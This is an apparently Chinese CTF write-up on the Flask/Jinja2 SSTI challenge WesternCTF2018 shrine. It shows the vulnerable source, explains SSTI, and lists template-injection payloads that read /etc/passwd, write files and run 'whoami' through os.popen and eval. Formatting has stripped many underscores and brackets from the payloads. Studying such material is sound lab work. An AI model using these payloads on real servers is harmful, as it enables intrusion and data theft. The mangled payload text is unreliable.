flask之ssti [WesternCTF2018]shrine1

打开题目

整理一下,代码:

复制代码
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')

def index():
    return open(__file__).read()
           @app.route('/shrine/')

def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

知识点:

1.ssti的漏洞实质

实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题

2.flask的一些特性

flask有两种渲染方式,render_template() 和 render_template_string()。

render_template()是渲染文件的,render_template_string是渲染字符串的

使用{ { }}作为变量包裹标识符;

快速查找该引用对应的位置:

''.class.mro2.subclasses().index(file)
文件读写:

''.class.mro2.subclasses()40

//读取文件

''.class.mro2.subclasses()59.init.globals'__builtins__''file'("/etc/passwd").read()

''.class.mro2.subclasses()40("/etc/passwd").read()

将read()改为write()就可以进行写操作:

''.class.mro2.subclasses()40("/root/桌面/test.txt", "a").write("123")

复制代码

命令执行

1.利用eval进行命令执行

''.class.mro2.subclasses()59.init.globals'__builtins__''eval'('import("os").popen("whoami").read()')

2.利用commands实现命令执行

\[\].class.base.subclasses()59.init.globals'linecache'.dict.values()12.dict.values()144('whoami')}

{}.class.bases0.subclasses()59.init.globals'__builtins__''__import__'('os').popen('whoami').read()

直接将这些payload放入{ {}}中作为变量执行即可获得想要的结果

知识点参考文章:

关于flask的SSTI注入通俗易懂-腾讯云开发者社区-腾讯云

flask模板注入(ssti),一篇就够了_flask"+"ssti"+"总结-CSDN博客

相关推荐
噢,我明白了3 小时前
java中唯一键和幂等键的应用
java·后端
GreenTea3 小时前
我把 Agent 的 while 循环拆掉了:一种你可能没想到的 Agent 架构
前端·后端·架构
考虑考虑3 小时前
synchronized字符串常量
java·后端·java ee
蒸鱼Yuzheng3 小时前
设备端性能工件可靠导出:断点续传、哈希、manifest 与失败恢复
android·自动化测试·python·adb·数据完整性
颜进强4 小时前
16 · NestJS LifecycleEvents 生命周期事件:五个钩子、三条边界,和 rag-server 的优雅停机
前端·后端·ai编程
圆圆讲门店4 小时前
挑选同城获客服务机构时需要考量的核心因素都有哪些?
大数据·网络·人工智能·python
GetcharZp4 小时前
定位不再一个个吐坐标:英伟达 LocateAnything 上手全攻略
后端
傻啦嘿哟4 小时前
Python的默认参数把我坑惨了,原来写[]和写None的区别这么大
开发语言·python·机器学习
微小冷4 小时前
Python凸优化cvxpy初步
python·机器人·凸优化·数学规划·cvxpy
在世修行5 小时前
干货:显式映射 vs 自动判据
python·插件